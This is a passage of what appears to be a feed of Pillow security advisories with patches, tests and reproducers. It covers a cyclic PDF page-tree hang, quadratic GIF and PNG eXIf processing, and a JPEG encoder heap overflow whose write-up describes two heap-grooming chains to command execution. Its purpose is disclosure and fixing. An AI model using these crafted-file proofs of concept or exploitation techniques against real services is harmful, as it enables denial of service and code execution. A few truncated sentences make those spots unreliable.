Note that this walk follows /Parent links, which nothing else in PdfParser reads: linearize_page_tree() only follows /Kids downward and never looks at /Parent, so a visited-set added to the /Kids recursion (see Related findings) does not reach this loop. The file above has a perfectly tree-shaped /Kids structure and still hangs; both walks need their own guard, and they are natural to land together as one "validate page tree while appending" change.

  • Exponential page tree expansion in PdfParser.linearize_page_tree() (repeated /Kids references) hangs PDF append — the downward counterpart of this bug in the same parser and on the same Image.save(..., "PDF", append=True) entry point: linearize_page_tree() (src/PIL/PdfParser.py:1080-1094) recurses into every /Kids entry and re-parses it via read_indirect() with no visited set, so a /Pages chain whose nodes list the same child N times over D levels costs ND object parses (a 1.9 KB, 10-wide × 12-level file never returns; a 5.8 KB, 300-wide × 3-level file runs for 13 minutes; a direct /Kids cycle ends in RecursionError). It differs from this report in the link followed (/Kids down vs /Parent up), the function and phase (linearize_page_tree() during read_pdf_info() in the PdfParser constructor vs rewrite_pages() during write_catalog()), the introducing commit (6207b44ab1ff vs 24ecfe315ab5), and the symptom (exponential but finite CPU vs a true infinite loop). It needs a separate hunk: the patches attached here only guard the /Parent walk and leave the /Kids reproducer hanging in linearize_page_tree(), and the /Kids guard conversely leaves this reproducer spinning in rewrite_pages() — verified by cross-applying each patch. Applied together (the /Kids guard plus attached patch 2), both reproducers are rejected with PdfFormatError: page tree loop found and Tests/test_pdfparser.py + Tests/test_file_pdf.py pass (30 tests).
The patch (1 of 2)

Track visited page-tree nodes in PdfParser.rewrite_pages() so a cyclic /Parent chain cannot loop forever when appending to a PDF

Applies to src/PIL/PdfParser.py at the commit above.

diff --git a/Tests/test_pdfparser.py b/Tests/test_pdfparser.py
index f2ae6b11f..f841aca14 100644
--- a/Tests/test_pdfparser.py
+++ b/Tests/test_pdfparser.py
@@ -169,3 +169,28 @@ def test_duplicate_xref_entry() -> None:
 def test_trailer_loop() -> None:
     with pytest.raises(PdfFormatError, match="trailer loop found"):
         PdfParser("Tests/images/trailer_loop.pdf")
+
+
+@pytest.mark.timeout(5)
+def test_page_tree_parent_loop() -> None:
+    # the /Pages root names itself as its own /Parent
+    objects = [
+        b"<</Type /Catalog /Pages 2 0 R>>",
+        b"<</Type /Pages /Kids [3 0 R] /Count 1 /Parent 2 0 R>>",
+        b"<</Type /Page /Parent 2 0 R /MediaBox [0 0 10 10]>>",
+    ]
+    b = BytesIO(b"%PDF-1.4\n")
+    offsets = []
+    for object_id, body in enumerate(objects, start=1):
+        offsets.append(b.tell())
+        b.write(b"%d 0 obj\n%s\nendobj\n" % (object_id, body))
+    xref_offset = b.tell()
+    b.write(b"xref\n0 4\n0000000000 65535 f \n")
+    b.write(b"".join(b"%010d 00000 n \n" % offset for offset in offsets))
+    b.write(b"trailer\n<</Size 4 /Root 1 0 R>>\nstartxref\n%d\n%%%%EOF\n" % xref_offset)
+
+    with PdfParser(f=b, mode="r+b") as pdf:
+        pdf.start_writing()
+        pdf.write_catalog()
+        pdf.write_xref_and_trailer()
+        assert 2 in pdf.xref_table.deleted_entries
diff --git a/src/PIL/PdfParser.py b/src/PIL/PdfParser.py
index 672557190..9260cd8e7 100644
--- a/src/PIL/PdfParser.py
+++ b/src/PIL/PdfParser.py
@@ -501,8 +501,14 @@ class PdfParser:
                     # replace the page reference with the new one
                     self.pages[j] = new_page_ref
         # delete redundant Pages tree nodes from xref table
+        processed_pages_tree_nodes: set[IndirectReference] = set()
         for pages_tree_node_ref in pages_tree_nodes_to_delete:
             while pages_tree_node_ref:
+                if pages_tree_node_ref in processed_pages_tree_nodes:
+                    # ancestors are shared between pages, and a malformed
+                    # /Parent chain may loop back on itself
+                    break
+                processed_pages_tree_nodes.add(pages_tree_node_ref)
                 pages_tree_node = self.cached_objects[pages_tree_node_ref]
                 if pages_tree_node_ref.object_id in self.xref_table:
                     del self.xref_table[pages_tree_node_ref.object_id]
The patch (2 of 2)

Raise PdfFormatError("page tree loop found") in PdfParser.rewrite_pages() when a page's /Parent chain loops back on itself

Applies to src/PIL/PdfParser.py at the commit above.

diff --git a/Tests/test_pdfparser.py b/Tests/test_pdfparser.py
index f2ae6b11f..24faeefbc 100644
--- a/Tests/test_pdfparser.py
+++ b/Tests/test_pdfparser.py
@@ -169,3 +169,27 @@ def test_duplicate_xref_entry() -> None:
 def test_trailer_loop() -> None:
     with pytest.raises(PdfFormatError, match="trailer loop found"):
         PdfParser("Tests/images/trailer_loop.pdf")
+
+
+@pytest.mark.timeout(5)
+def test_page_tree_parent_loop() -> None:
+    # the /Pages root names itself as its own /Parent
+    objects = [
+        b"<</Type /Catalog /Pages 2 0 R>>",
+        b"<</Type /Pages /Kids [3 0 R] /Count 1 /Parent 2 0 R>>",
+        b"<</Type /Page /Parent 2 0 R /MediaBox [0 0 10 10]>>",
+    ]
+    b = BytesIO(b"%PDF-1.4\n")
+    offsets = []
+    for object_id, body in enumerate(objects, start=1):
+        offsets.append(b.tell())
+        b.write(b"%d 0 obj\n%s\nendobj\n" % (object_id, body))
+    xref_offset = b.tell()
+    b.write(b"xref\n0 4\n0000000000 65535 f \n")
+    b.write(b"".join(b"%010d 00000 n \n" % offset for offset in offsets))
+    b.write(b"trailer\n<</Size 4 /Root 1 0 R>>\nstartxref\n%d\n%%%%EOF\n" % xref_offset)
+
+    with PdfParser(f=b, mode="r+b") as pdf:
+        pdf.start_writing()
+        with pytest.raises(PdfFormatError, match="page tree loop found"):
+            pdf.write_catalog()
diff --git a/src/PIL/PdfParser.py b/src/PIL/PdfParser.py
index 672557190..9021b8d63 100644
--- a/src/PIL/PdfParser.py
+++ b/src/PIL/PdfParser.py
@@ -502,7 +502,13 @@ class PdfParser:
                     self.pages[j] = new_page_ref
         # delete redundant Pages tree nodes from xref table
         for pages_tree_node_ref in pages_tree_nodes_to_delete:
+            processed_pages_tree_nodes = []
             while pages_tree_node_ref:
+                check_format_condition(
+                    pages_tree_node_ref not in processed_pages_tree_nodes,
+                    "page tree loop found",
+                )
+                processed_pages_tree_nodes.append(pages_tree_node_ref)
                 pages_tree_node = self.cached_objects[pages_tree_node_ref]
                 if pages_tree_node_ref.object_id in self.xref_table:
                     del self.xref_table[pages_tree_node_ref.object_id]
The reproducer
Reproducer — repro, 3,152 bytes (click to open)

Its last line is BUG when the issue triggers and OK when it does not. Re-run on a clean build of that commit it printed BUG.


#!/usr/bin/env python3
"""Infinite loop in PdfParser.rewrite_pages() on a cyclic /Parent chain.

Appending an image to an existing PDF (im.save(fp, "PDF", append=True)) makes
rewrite_pages() walk each original page's /Parent chain upward until a node has
no /Parent.  Nothing records which nodes were visited, so a /Pages node that
names itself as its own /Parent keeps the walk going forever.

We append a 4x4 image to two one-page PDFs that differ in one entry:
  control - a normal PDF                          -> finishes in milliseconds
  cyclic  - the /Pages root also says /Parent 2 0 R -> never finishes
A SIGALRM watchdog interrupts the append and shows the line it was stuck on.
"""
import io
import signal
import time
import traceback

from PIL import Image

WATCHDOG_S = 5

def make_pdf(pages_root):
    """Catalog (1) -> /Pages root (2) -> /Page (3), with a correct xref table."""
    objects = [
        b"<</Type /Catalog /Pages 2 0 R>>",
        pages_root,
        b"<</Type /Page /Parent 2 0 R /MediaBox [0 0 10 10]>>",
    ]
    pdf = bytearray(b"%PDF-1.4\n")
    offsets = []
    for num, body in enumerate(objects, start=1):
        offsets.append(len(pdf))
        pdf += b"%d 0 obj\n%s\nendobj\n" % (num, body)
    xref_offset = len(pdf)
    pdf += b"xref\n0 4\n0000000000 65535 f \n"
    pdf += b"".join(b"%010d 00000 n \n" % off for off in offsets)
    pdf += b"trailer\n<</Size 4 /Root 1 0 R>>\nstartxref\n%d\n%%%%EOF\n" % xref_offset
    return bytes(pdf)

class StillRunning(BaseException):
    pass

def on_alarm(signum, frame):
    raise StillRunning

def append_image(name, pdf):
    """Append an image to `pdf`; return True if it finished before the watchdog."""
    print(f"--- {name}: {len(pdf)}-byte PDF ---")
    print(pdf.decode("latin-1"), end="")
    signal.alarm(WATCHDOG_S)
    start = time.monotonic()
    try:
        Image.new("RGB", (4, 4)).save(io.BytesIO(pdf), "PDF", append=True)
    except StillRunning as e:
        print(f"[{name}] still running after {WATCHDOG_S}s, interrupted in:")
        for frame in traceback.extract_tb(e.__traceback__):
            if "/PIL/" in frame.filename:
                print(f"    {frame.name}()  {frame.filename}:{frame.lineno}  {frame.line}")
        return False
    except Exception as e:  # rejecting the file is a correct, safe outcome
        print(f"[{name}] raised {type(e).__name__}: {e}")
        return True
    finally:
        signal.alarm(0)
    print(f"[{name}] append finished in {time.monotonic() - start:.3f}s")
    return True

signal.signal(signal.SIGALRM, on_alarm)

##### Set up: the well-formed file is appended to instantly.
control = make_pdf(b"<</Type /Pages /Kids [3 0 R] /Count 1>>")
if not append_image("control", control):
    print("control case did not finish; environment problem, no verdict")
    print("OK")
    raise SystemExit

##### Attack: the same file, except the /Pages root is its own /Parent.
cyclic = make_pdf(b"<</Type /Pages /Kids [3 0 R] /Count 1 /Parent 2 0 R>>")
finished = append_image("cyclic", cyclic)

##### Verify: a fixed parser finishes (or rejects the file) like the control.
print("BUG" if not finished else "OK")

Severity

  • CVSS Score: 8.7 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Pillow: Quadratic GIF comment copying during save

BIT-pillow-2026-112891 / CVE-2026-112891 / GHSA-fc9g-5qg7-mf45

More information

Details

On Pillow 12.3.0 and upstream main (ad277e2761b489681e71b51e91367d46b0ceabb9), a GIF with a long comment makes _get_global_header() copy portions of the comment repeatedly when saving, including comments carried over from untrusted images. I suggest provisional Moderate severity for crafted-image CPU denial of service, with CVSS-B 6.9 assuming a network service automatically opens unauthenticated uploads and they are resaved as GIFs; impact depends on input-size, concurrency, and worker CPU limits.

Severity

  • CVSS Score: 6.9 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Pillow: PNG eXIf chunk makes EXIF parsing run in quadratic time

BIT-pillow-2026-96643 / CVE-2026-96643 / GHSA-g4qv-2jxx-769h / PYSEC-2026-4342

More information

Details

Summary

A PNG file with a large eXIf chunk full of repeated 6-byte markers makes Pillow's EXIF parser take seconds of CPU instead of milliseconds. The cost grows with the square of the chunk size, so a normal small-photo-sized file is enough to cause real delay.

Details

Exif.load() in src/PIL/Image.py strips a marker from the start of the EXIF data like this:

while data and data.startswith(b"Exif\x00\x00"):
    data = data[6:]

Each pass makes a new copy of the remaining data. A real camera writes this marker once, so this is not normally a problem.

chunk_eXIf() in src/PIL/PngImagePlugin.py puts the raw PNG eXIf chunk straight into info["exif"] with no size limit and no check of its content. PNG text chunks (tEXt, zTXt, iTXt) are capped with MAX_TEXT_CHUNK and MAX_TEXT_MEMORY. The eXIf chunk has no such cap.

If the eXIf chunk is filled with repeated Exif\x00\x00 markers instead of real EXIF data, the strip loop runs once per marker, copying a large buffer each time. This is a classic quadratic time bug.

Steps to reproduce

This builds a small PNG in memory and times Image.open().getexif() on it. No external file needed.

import time
from io import BytesIO
from PIL import Image, PngImagePlugin

def chunk(cid, *data):
    fp = BytesIO()
    PngImagePlugin.putchunk(fp, cid, *data)
    return fp.getvalue()

MAGIC = PngImagePlugin._MAGIC
IHDR = chunk(b"IHDR", PngImagePlugin.o32(1), PngImagePlugin.o32(1), b"\x08\x02", b"\0\0\0")
IDAT = chunk(b"IDAT")
IEND = chunk(b"IEND")

marker = b"Exif\x00\x00"
exif_chunk = chunk(b"eXIf", marker * 300_000)  # 1.8MB, all markers
data = MAGIC + IHDR + exif_chunk + IDAT + IEND

start = time.time()
with Image.open(BytesIO(data)) as im:
    im.getexif()
print("took", time.time() - start, "seconds")

Expected output on a fixed version: well under 0.1 seconds, the same as a normal file this size.

Actual output on the current code: around 3.5 to 3.7 seconds, for a single 1.8MB file. We checked with a prohis time is spent inside the strip loop itself, not somewhere else. We also checked the growth rate across a
few sizes (200KB, 600KB, 1.2MB, 1.8MB) and it matches quadratic growth closely, not linear.

A pytest version of this test, using pytest-timeout so a test run does not hang if the bug is present, is it fails with Failed: Timeout (>2.0s) from pytest-timeout.

import pytest
from io import BytesIO
from PIL import Image, PngImagePlugin

def chunk(cid, *data):
    fp = BytesIO()
    PngImagePlugin.putchunk(fp, cid, *data)
    return fp.getvalue()

MAGIC = PngImagePlugin._MAGIC
IHDR = chunk(b"IHDR", PngImagePlugin.o32(1), PngImagePlugin.o32(1), b"\x08\x02", b"\0\0\0")
IDAT = chunk(b"IDAT")
IEND = chunk(b"IEND")

@pytest.mark.timeout(2)
def test_exif_load_is_not_quadratic():
    marker = b"Exif\x00\x00"
    exif_chunk = chunk(b"eXIf", marker * 300_000)
    data = MAGIC + IHDR + exif_chunk + IDAT + IEND
    with Image.open(BytesIO(data)) as im:
        im.getexif()

Impact

  • Availability: an attacker who can get one PNG file processed can burn several seconds of CPU per request w A bigger file scales worse, since the cost is quadratic, not linear.
  • Confidentiality: none.
  • Integrity: none.
  • This fires through Image.getexif(), Image._getexif(), and ImageOps.exif_transpose(). exif_transpose() is the function Pillow's own docs recommend for auto-rotating user photos, so this can hit normal upload handling code, not just an unusual call.

Severity

  • CVSS Score: 7.1 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Pillow: Heap buffer overflow writing JPEG comment after ICC profile fills buffer

BIT-pillow-2026-96778 / CVE-2026-96778 / GHSA-g7cr-3p24-7wf7

More information

Details

============================================================================
Heap buffer overflow writing JPEG comment after ICC profile fills buffer
Location: src/libImaging/JpegEncode.c:330  in ImagingJpegEncode()
Commit:   a707c6b21c313880d0771e54965d142dd42358b6
============================================================================

A heap buffer overflow in Pillow's JPEG encoder lets anyone who can supply an image write up to 64 KB of bytes they choose, followed by the rest of the compressed image, past the end of a 64 KB heap buffer. The target is any application that re-saves the image as JPEG while keeping its colour profile. The reliable result is that the Python process is killed outright rather than raising an exception. Because the overwritten memory sits directly in front of function pointers that the encoder calls next, this could allow code execution, though the attached reproducer demonstrates only the crash.

The bug is in ImagingJpegEncode() in src/libImaging/JpegEncode.c. State 4 (line 330) calls jpeg_write_marker() for the COM comment marker without checking that the output buffer has room. Meanwhile, JpegImagePlugin._save() sizes that buffer from the EXIF and ICC/XMP data only and reserves nothing for the comment. When a 65498-byte ICC profile fills the 65536-byte buffer exactly, libjpeg's emit_byte() stores one byte past the end and then decrements free_in_buffer from 0. The size_t counter wraps, so the marker, the comment and the entire compressed image are written out of bounds.

Triggering it takes only a valid JPEG (or PNG) carrying that profile and any comment, passed through Image.open() and then im.save(..., "JPEG", icc_profile=im.info.get("icc_profile")). That is the documented way to preserve colour. The comment is forwarded from im.info automatically, and no non-default setting is involved.

The attached reproducer re-saves such a file on the stock build, and the process dies with SIGSEGV. An identical file without the comment saves normally. An ASan build of Pillow will not flag this, because the stray writes happen inside the system libjpeg-turbo. Valgrind does report it, as an invalid write immediately after the 65569-byte allocation.

The unguarded call was introduced in e50ae85ea406 ("Use jpeg_write_marker to write comment", 2022-12-05) and first shipped in 9.4.0.

Details

ImagingJpegEncode() (src/libImaging/JpegEncode.c) is a resumable state machine that fills a caller-supplied output buffer of bytes bytes and returns when it is full. State 4 writes the JPEG COM marker with jpeg_write_marker() without first checking that the buffer has any room left. When the preceding state 3 — the verbatim copy of the "extra" APP segments (ICC profile / XMP) — ends exactly at the last byte of the buffer, jpeg_write_marker() is entered with free_in_buffer == 0. libjpeg's emit_byte() stores the byte first and tests --free_in_buffer == 0 afterwards, so the size_t counter wraps to 2^64-1 instead of triggering the "buffer full" path, and the 4-byte marker header, the whole comment, and then (state 5) the DQT/SOF/DHT/SOS headers and the entire entropy-coded image are written linearly past the end of the 65536-byte heap buffer allocated in src/encode.c.

A JPEG laid out as

FFD8                                   SOI
FFE2 <len> "ICC_PROFILE\0" 01 01 <65498 bytes>     -> im.info["icc_profile"]
FFFE <len> <comment, any length 1..65533>           -> im.info["comment"]
<any baseline RGB JPEG body>

opened with Image.open() and re-saved with the usual colour-profile-preserving call

im.save(out, "JPEG", icc_profile=im.info.get("icc_profile"))

kills the Python process on the stock build at this commit: glibc aborts with realloc(): invalid next size / corrupted size vs. prev_size, or the process takes SIGSEGV inside jpeg_write_marker/jpeg_write_scanlines. Stopping at JpegEncode.c:330 in gdb shows next_output_byte - buf == 65536, free_in_buffer == 0, comment_size == 65533 before the call, and next_output_byte - buf == 131073, free_in_buffer == 18446744073709486079 after it — 65537 bytes already written beyond a 65536-byte buffer before a single scanline has been encoded. An ASan build of Pillow does not flag this, because the out-of-bounds stores happen inside the (uninstrumented) system libjpeg-turbo; valgrind does, reporting Invalid write ... 0 bytes after a block of size 65,569 from jpeg_write_marker called at JpegEncode.c:330 before aborting on the corrupted heap metadata.

Code path

The buffer. JpegImagePlugin._save() sizes the encoder buffer from the metadata it is about to emit, allowing one spare byte after the extra block and nothing for the comment:


##### src/PIL/JpegImagePlugin.py:859-862
    else:
        # The EXIF info needs to be written as one block, + APP1, + one spare byte.
        # Ensure that our buffer is big enough. Same with the icc_profile block.
        bufsize = max(len(exif) + 5, len(extra) + 1)

ImageFile._save() then takes max(MAXBLOCK, bufsize, width*4) (src/PIL/ImageFile.py:662, MAXBLOCK = 65536), and _encode() allocates exactly that: buf = PyBytes_FromStringAndSize(NULL, bufsize) (src/encode.c:134; the real-file path _encode_to_file() does malloc(bufsize) at src/encode.c:190). For the input above len(extra) == 65516, so the buffer is 65536 bytes. The optimize/progressive branch just above (JpegImagePlugin.py:846-858) is not immune: its bufsize adds w*h (or 2*w*h), but the image dimensions and the ICC length both come from the file, so an exact fit is still constructible there (e.g. with a 19×1 image).

The "+1 spare byte" does not account for what libjpeg itself has already put in the buffer: in state 1 jpeg_start_compress(&cinfo, TRUE) (JpegEncode.c:279) emits SOI + JFIF APP0, 20 bytes for an RGB source. State 3 then copies the extra block, clamped to the space remaining:

// src/libImaging/JpegEncode.c:302-337
        case 3:
            if (context->extra) {
                unsigned int n = context->extra_size - context->extra_offset;
                if (n > context->destination.pub.free_in_buffer) {
                    n = context->destination.pub.free_in_buffer;
                }
                memcpy(context->destination.pub.next_output_byte, context->extra + context->extra_offset, n);
                context->destination.pub.next_output_byte += n;
                context->destination.pub.free_in_buffer -= n;
                context->extra_offset += n;
                if (context->extra_offset >= context->extra_size) {
                    state->state++;                 // done -> fall into case 4, even with free_in_buffer == 0
                } else {
                    break;
                }
            } …

        case 4:
            if (context->comment) {
                jpeg_write_marker(&context->cinfo, JPEG_COM,
                                  (unsigned char *)context->comment, context->comment_size);   // :330 — no space check
            }
            state->state++;

        case 5:
            if (1024 > context->destination.pub.free_in_buffer) {   // passes: free_in_buffer is now ~2^64
                break;
            }
            … jpeg_write_scanlines(…) …

Every other emitting state is guarded — state 2 requires rawExifLen + 5 <= free_in_buffer (:287), state 5 requires 1024 free bytes (:340), state 6 requires 100 (:368). State 4 has no guard at all. The unguarded jpeg_write_marker() call was introduced in e50ae85ea406 ("Use jpeg_write_marker to write comment", 2022-12-05) and first shipped in 9.4.0; at 9.3.0 the same input re-saves correctly.

With 20 header bytes plus 65516 extra bytes the copy consumes the buffer to the byte (free_in_buffer == 0) and, because the extra block is complete, control falls straight into state 4. One re-wrapped ICC APP2 segment costs 18 bytes of overhead (JpegImagePlugin.py:788-806), hence the 65498-byte profile payload. Pillow's destination manager cannot suspend (empty_output_buffer() returns FALSE, JpegEncode.c:45-48), which is why a nearly full buffer is harmless: with 1..N free bytes the comment write decrements free_in_buffer to 0 part-way, libjpeg raises JERR_CANT_SUSPEND, and the save fails with OSError: broken data stream. Only the exact-fit case skips that check, because libjpeg-turbo's marker writer is

/* jcmarker.c */
  *(dest->next_output_byte)++ = (JOCTET)val;
  if (--dest->free_in_buffer == 0) { if (!(*dest->empty_output_buffer)(cinfo)) ERREXIT(cinfo, JERR_CANT_SUSPEND); }

i.e. it writes buf[65536] first and then wraps the counter. From there nothing limits the stream: the comment (up to 65533 attacker-chosen bytes) is written verbatim, state 5's 1024-byte check passes against the wrapped counter, and jpeg_write_scanlines() appends the full compressed image (≈100 KB for a 256×256 noisy source; proportional to the picture for larger ones). If the process survives that, ImagingJpegEncode() returns next_output_byte - buf (≈167000) as the byte count and _encode() calls _PyBytes_Resize(&buf, 167199) on the 65536-byte object, which is where glibc usually notices the smashed neighbouring chunk.

All three ingredients come from the file. JpegImagePlugin reassembles APP2 ICC_PROFILE chunks into im.info["icc_profile"] (:238-241) and stores the COM payload in im.info["comment"] (:194); _save() forwards the comment on its own — comment = info.get("comment", im.info.get("comment")) (:808) — so the application only has to pass the ICC profile through, which is the standard way to keep colours correct when re-encoding (docs/handbook/image-file-formats.rst:608). Unlike exif and xmp, there is no length check on the comment in _save(). A PNG source works the same way: its iCCP chunk becomes im.info["icc_profile"] and a tEXt chunk keyed comment becomes im.info["comment"] (and, being zlib-compressed, the file is only ~60 KB); that variant was also confirmed to crash. thumbnail() and convert() carry im.info along, so the usual open → thumbnail → convert("RGB") → save("JPEG", icc_profile=…) handler reaches the same state. xmp= and extra= feed the same extra block (33 bytes of overhead for the XMP APP1) and reach the same state. If the application also forwards EXIF, the exact-fit condition becomes len(extra) + len(exif) + 4 == 65516, both lengths again taken from the file. The comment length is irrelevant to triggering: a 17-byte "Created with GIMP" comment crashes the stock build just as reliably (SIGSEGV in jpeg_write_scanlines), it only changes how many of the out-of-bounds bytes are chosen verbatim by the attacker.

What lies behind the buffer

The buffer is PyBytes_FromStringAndSize(NULL, 65536) = malloc(65569), a 0x10030-byte glibc chunk, so buf[65536] is the first byte of the next chunk's header. In the same encode() call, right after that allocation, jpeg_start_compress() mallocs libjpeg's PERMANENT pool (chunk 0xa40) and IMAGE pool (chunk 0x3f00); on a groomed or fresh heap these sit directly behind the buffer. The next thing ImagingJpegEncode() does after the COM write (JpegEncode.c:352; the state-5 room check passes because free_in_buffer has wrapped) is call jpeg_write_scanlines(), which dispatches through the method tables in that IMAGE pool before any allocator call touches the heap. In the SIGSEGV layout observed on the stock build the fault is at jpeg_write_scanlines+133: call *0x8(%rax) with %rax pointing just past the end of the buffer at memory now holding comment bytes — an indirect call through a function pointer (cinfo->main->process_data) read from bytes the file supplied.

Impact

Any service that accepts JPEG uploads and re-encodes them as JPEG while preserving the embedded ICC profile (icc_profile=im.info.get("icc_profile") — thumbnailers, CMS and e-commerce image pipelines, Django/Flask upload handlers) can be made to perform a linear heap overwrite starting immediately after a 65536-byte buffer: 4 marker bytes, then up to 65533 bytes taken verbatim from the file's COM segment, then tens to hundreds of kilobytes of compressed image data. No non-default Pillow setting is involved and the file is an otherwise valid 140–210 KB JPEG that decodes normally. The dependable outcome is termination of the worker process by SIGSEGV or a glibc heap-consistency abort (not a Python exception), i.e. denial of service of everything that process serves.

It does not stop at a crash. Both the length and the content of the first 64 KB written out of bounds are attacker-chosen, the victim buffer is an ordinary malloc chunk, and what jpeg_start_compress() allocates directly behind it — libjpeg's PERMANENT and IMAGE pools, including the method pointers jpeg_write_scanlines() calls through immediately afterwards — is predictable. Against a long-lived stdlib-http.server worker running exactly the handler above (stock /src build, CPython 3.12 / glibc 2.36 / libjpeg62-turbo 2.1.5, ASLR/PIE/NX on, default Pillow settings, worker as root, attacker as uid 65534 given only the service address), this overflow was driven to shell command execution by the worker in two independent ways once library base addresses were known: (a) a JPEG with ~2400 APPn spray segments (heap grooming), the 65498-byte ICC profile and a 3020-byte COM whose bytes re-image the two libjpeg pools so that the real grayscale_convert() copies a chosen 384-byte scanline over _PyRuntime, setting allocators.obj_arena.free = system with ctx = the command — the request returns 200, the worker keeps serving, and the next pymalloc arena release runs the command (14/14 and 15/15 runs on fresh workers); (b) a 28-byte COM that rewrites the size/next of a groomed free tcache chunk sitting right behind the buffer so that Pillow's own malloc(comment_size) in the next JPEG save (src/encode.c:1250) returns _imaging.so's writable .got.plt, the comment replaces free with system, and the encoder's cleanup free(context->comment) at JpegEncode.c:376 runs the command (14/14, deterministic once groomed). The address knowledge came from separate memory-disclosure bugs in Pillow's TIFF paths that return library pointers in output pixels/tags; those are independent defects with their own fixes, but any such disclosure — present or future — is enough, and this overflow is the only memory write either chain needs. Fixing it reduces those leaks to disclosures rather than footholds.

Reproducing

repro is a single Python script. It uses the Pillow already built in /src and needs no rebuild. Run it as ./repro. The last line of output is BUG or OK.

The script builds a valid 256×256 baseline JPEG from deterministic noise, so the compressed image data comes to about 100 KB. Right after SOI it adds an APP2 ICC_PROFILE segment (sequence 1 of 1) with a payload of 65536 - 20 - 18 = 65498 bytes. When Pillow re-encodes the image, libjpeg first writes 20 bytes of SOI and JFIF APP0, and then Pillow copies the re-wrapped ICC segment: 18 bytes of header plus the payload. Together those fill the 65536-byte encoder buffer to the last byte. The constants at the top of the script spell out this arithmetic.

Each file goes through the same application code in a child python3 -X faulthandler process:

im = Image.open(BytesIO(data))
im.save(BytesIO(), "JPEG", icc_profile=im.info["icc_profile"])
  1. Control. The file has the ICC profile but no COM segment. The save returns normally with exit status 0, which shows that the exact-fit ICC profile alone is harmless.
  2. PoC. This is the same file plus a COM segment of 65533 C bytes. JpegImagePlugin._save() forwards im.info["comment"] automatically. Case 4 of ImagingJpegEncode() writes the COM marker into the full buffer, the free_in_buffer counter wraps, and the comment and the entire compressed image are written past the end of the heap buffer.

Expected output: the control prints save returned normally and -> exit status 0. For the PoC, faulthandler prints Fatal Python error: Segmentation fault (sometimes a glibc message such as realloc(): invalid next size followed by Aborted). The Python stack ends in ImageFile._encode_tile called from im.save, then -> exit status -11 (or -6), and finally BUG. The verdict is BUG only if the PoC child was killed by a signal. A normal return or a Python exception such as OSError gives OK.

Suggested fix

The attached patch guards state 4 the way state 2 guards the EXIF marker: before calling jpeg_write_marker() it requires room for the 4-byte marker header plus the comment plus libjpeg's one-byte slack (emit_byte must never bring free_in_buffer to 0 with a non-suspending destination), and otherwise returns to the caller for a fresh buffer:

--- a/src/libImaging/JpegEncode.c
+++ b/src/libImaging/JpegEncode.c
@@ -327,6 +327,11 @@
         case 4:
 
             if (context->comment) {
+                // check for comment len + 'COM' header bytes
+                if (context->comment_size + 5 >
+                    context->destination.pub.free_in_buffer) {
+                    break;
+                }
                 jpeg_write_marker(

The encoder then returns with the buffer full, _encode_tile() calls it again with an empty buffer, and the comment is emitted there. The C hunk is not sufficient on its own: state 4, like state 2, relies on the Python side guaranteeing that an empty buffer is always large enough, and a 65533-byte comment needs 65538 bytes against a 65536-byte MAXBLOCK buffer — with only the C guard the encoder returns 0 bytes and no error forever and _encode_tile() spins. The patch therefore also changes JpegImagePlugin._save() to reserve len(comment) + 5 in both sizing branches (added to bufsize in the optimize/progressive branch, and as a third term of the max() in the plain branch), and normalises the comment to bytes first (str is UTF-8-encoded, None becomes b"") so the length is exact for non-ASCII str comments; encode.c already UTF-8-encodes str via z#, so the bytes written are unchanged. A side effect visible to users: comments of up to 65533 bytes now save successfully in cases that previously raised OSError: broken data stream because the default buffer was too small. The patch adds test_icc_big_comment to Tests/test_file_jpeg.py, which round-trips a 65533-byte comment with ICC profiles sized around the exact-fit boundary; it crashes (or raises OSError) on the unpatched tree and passes with the patch. With the patch applied to a clean tree and rebuilt, the reproducer no longer triggers, and Tests/test_file_jpeg.py and Tests/test_file_mpo.py pass.

The C guard still depends on the Python sizing to avoid a 0-byte/no-error busy loop, exactly as state 2 already does. A more defensive variant would fail with IMAGING_CODEC_MEMORY instead of break when the marker does not fit and nothing has been written to the current buffer yet (next_output_byte == buf), so that a sizing mistake in any caller can never turn into a busy loop. It would also be consistent with exif/xmp handling for _save() to reject comments longer than MAX_BYTES_IN_MARKER (65533) with ValueError("Comment is too long") rather than leaving it to libjpeg's JERR_BAD_LENGTH → OSError.

Independently, the "+ 1 spare byte" / "+ 5" reasoning in _save() under-counts by the 18–20 bytes jpeg_start_compress() writes before the EXIF/extra blocks; that is what lets attacker-sized metadata land the buffer on an exact boundary in the first place. The attached patch does not change that accounting.

The patch

Check free output-buffer space before writing the JPEG COM marker in ImagingJpegEncode, and size the encoder buffer for the comment in JpegImagePlugin._save

Applies to src/libImaging/JpegEncode.c at the commit above.

diff --git a/Tests/test_file_jpeg.py b/Tests/test_file_jpeg.py
index b361aef2e..f884883c4 100644
--- a/Tests/test_file_jpeg.py
+++ b/Tests/test_file_jpeg.py
@@ -227,6 +227,16 @@ class TestFileJpeg:
         im1 = self.roundtrip(hopper(), icc_profile=icc_profile)
         assert im1.info.get("icc_profile") == (icc_profile or None)
 
+    def test_icc_big_comment(self) -> None:
+        # The ICC profile may fill the encoder buffer exactly, in which case the
+        # comment has to be written to the next buffer
+        comment = b"C" * 65533
+        for n in range(ImageFile.MAXBLOCK - 40, ImageFile.MAXBLOCK - 30):
+            icc_profile = b"I" * n
+            im = self.roundtrip(hopper(), icc_profile=icc_profile, comment=comment)
+            assert im.info["icc_profile"] == icc_profile
+            assert im.info["comment"] == comment
+
     def test_large_icc_meta(self, tmp_path: Path) -> None:
         # https://github.com/python-pillow/Pillow/issues/148
         # Sometimes the meta data on the icc_profile block is bigger than
diff --git a/src/PIL/JpegImagePlugin.py b/src/PIL/JpegImagePlugin.py
index 4b8d34ca3..1d9f4c2fa 100644
--- a/src/PIL/JpegImagePlugin.py
+++ b/src/PIL/JpegImagePlugin.py
@@ -805,7 +805,9 @@ def _save(im: Image.Image, fp: IO[bytes], filename: str | bytes) -> None:
             )
             i += 1
 
-    comment = info.get("comment", im.info.get("comment"))
